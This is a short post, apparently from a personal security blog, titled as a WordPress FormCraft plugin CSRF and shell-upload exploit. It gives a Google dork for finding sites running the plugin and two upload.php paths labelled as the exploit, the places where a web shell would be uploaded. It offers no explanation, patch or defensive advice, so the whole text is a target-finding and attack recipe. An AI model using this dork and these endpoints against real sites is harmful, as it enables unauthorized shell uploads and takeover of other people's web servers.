WordPress FormCraft CSRF / Shell Upload - IT_Se{cury}ty - Delvin's World

Dork : 

inurl:''/wp-content/plugins/formcraft/''

Exploit : 

/wp-content/plugins/formcraft/file-upload/server/php/upload.php

/wp-content/plugins/formcraft/file-upload/server/content/upload.php